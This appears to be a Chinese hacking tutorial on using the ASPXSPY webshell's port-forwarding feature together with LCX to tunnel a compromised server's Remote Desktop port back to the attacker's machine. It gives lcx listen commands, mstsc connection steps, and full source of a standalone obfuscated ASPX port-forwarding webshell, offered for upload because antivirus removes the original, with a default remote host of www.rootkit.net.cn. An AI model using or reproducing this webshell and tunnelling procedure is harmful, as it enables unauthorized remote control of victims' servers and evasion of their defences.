有一些朋友不会用这个功能,我就在此简单的说一下如何使用吧:
Local Ip : | Local Port : | Remote Ip : | Remote Port : | |
打开ASPXSPY的端口转发页面,如上设置,服务器的IP和服务器本地的3389端口将会被转发到175.184.130.221的88端口中去,此时ASPX对于服务器来说,相当于一个内贼的角色,主动将自己的端口转发至黑客175.184.130.221的88端口上去,而黑客(175.184.130.221)在自己的电脑上运行LCX,等等肉肉上线,命令如下:
D:\hacker>lcx -listen 88 3333
运行后出现信息:
D:\hacker>lcx -listen 88 3333
第一条和第三配合使用。如在本机上监听 -listen 51 3389,在肉鸡上运行-slave 本机ip
51 肉鸡ip 3389
那么在本地连127.0.1就可以连肉鸡的3389.第二条是本机转向。如-tran 51 127.0.0.1 338
9 ==========
[+] Listening port 88 ......
[+] Listen OK!
[+] Listening port 3333 ......
[+] Listen OK!
[+] Waiting for Client on port:88 ......
此时代表已就绪,黑客们点击WEBSHELL的MAPPORT按钮,服务器即开始向黑客连接,连接后黑客的LCX客户端会有信息提示,连接成功后,黑客在本机打开MSTSC,连接自己的3333端口,就可以直接连上远程服务器
mstsc 127.0.0.1:3333 如果这样连不上,就换内网IP试试 mstsc 192.168.1.2:3333
不出差错的话,就可以连到服务器上了。文章没有什么技术性含量,只要没有设置错,基本上可以成功。如果服务器装了防火墙的话,有可能会拦截的,所以提前试一下比较好。
另记,有朋友说ASPXSPY.ASPX在服务器上被那个卖咖啡的老板给杀了,所以我将里面的端口转发功能提取了出来,可以单独上传使用,代码如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Net.Sockets" %>
<script runat="server">
public class PortForward
{
public string Localaddress;
public int LocalPort;
public string RemoteAddress;
public int RemotePort;
string type;
Socket ltcpClient;
Socket rtcpClient;
Socket server;
byte[] DPrPL=new byte[2048];
byte[] wvZv=new byte[2048];
public struct session
{
public Socket rdel;
public Socket ldel;
public int llen;
public int rlen;
}
public static IPEndPoint mtJ(string host,int port)
{
IPEndPoint iep=null;
IPHostEntry aGN=Dns.Resolve(host);
IPAddress rmt=aGN.AddressList[0];
iep=new IPEndPoint(rmt,port);
return iep;
}
public void Start(string Rip,int Rport,string lip,int lport)
{
try
{
LocalPort=lport;
RemoteAddress=Rip;
RemotePort=Rport;
Localaddress=lip;
rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
}
catch (Exception ex) { }
}
protected void iiGFO(IAsyncResult ar)
{
try
{
session RKXy=new session();
RKXy.ldel=ltcpClient;
RKXy.rdel=rtcpClient;
ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
}
catch (Exception ex) { }
}
protected void VTp(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
ltcpClient.EndConnect(ar);
RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
}
catch (Exception ex) { }
}
private void LFYM(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
int Ret=RKXy.rdel.EndReceive(ar);
if (Ret>0)
ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
else lyTOK();
}
catch (Exception ex) { }
}
private void JTcp(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
RKXy.ldel.EndSend(ar);
RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
}
catch (Exception ex) { }
}
private void xPS(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
int Ret=RKXy.ldel.EndReceive(ar);
if (Ret>0)
RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
else lyTOK();
}
catch (Exception ex) { }
}
private void IZU(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
RKXy.rdel.EndSend(ar);
RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
}
catch (Exception ex) { }
}
public void lyTOK()
{
try
{
if (ltcpClient!=null)
{
ltcpClient.Close();
}
if (rtcpClient!=null)
rtcpClient.Close();
}
catch (Exception ex) { }
}
}
protected void wDZ(object sender, EventArgs e)
{
if (iXdh.Value == "" || eEpm.Value.Length < 7 || ZHS.Value == "") return;
ruQO();
Response.Write("All Thread Start ......");
}
protected void vJNsE(object sender, EventArgs e)
{
vuou();
Response.Write("Clear All Thread ......");
}
protected void ruQO()
{
PortForward gYP = new PortForward();
gYP.Start(llH.Value, int.Parse(ZHS.Value), eEpm.Value, int.Parse(iXdh.Value));
}
protected void vuou()
{
PortForward gYP = new PortForward();
gYP.lyTOK();
}
protected void tYoZ(object sender, EventArgs e)
{
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>无标题页</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<table border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"
width="100%">
<tr align="center">
<td style="width:5%">
</td>
<td align="left" style="width:20%">
Local Ip :
<input id="eEpm" runat="server" class="input" size="20" type="text"
value="127.0.0.1" /></td>
<td align="left" style="width:20%">
Local Port :
<input id="iXdh" runat="server" class="input" size="20" type="text"
value="3389" /></td>
<td align="left" style="width:20%">
Remote Ip :
<input id="llH" runat="server" class="input" size="20" type="text"
value="www.rootkit.net.cn" /></td>
<td align="left" style="width:20%">
Remote Port :
<input id="ZHS" runat="server" class="input" size="20" type="text" value="80" /></td>
</tr>
<tr align="center">
<td colspan="5">
<br />
<asp:Button ID="FJE" runat="server" CssClass="bt" OnClick="wDZ"
Text="MapPort" />
<asp:Button ID="giX" runat="server" CssClass="bt" OnClick="vJNsE"
Text="ClearAll" />
<asp:Button ID="GFsm" runat="server" CssClass="bt" OnClick="tYoZ"
Text="Refresh" />
</td>
</tr>
</table>
</div>
</form>
</body>
</html>
=============================================
你也可以直接点击此处下载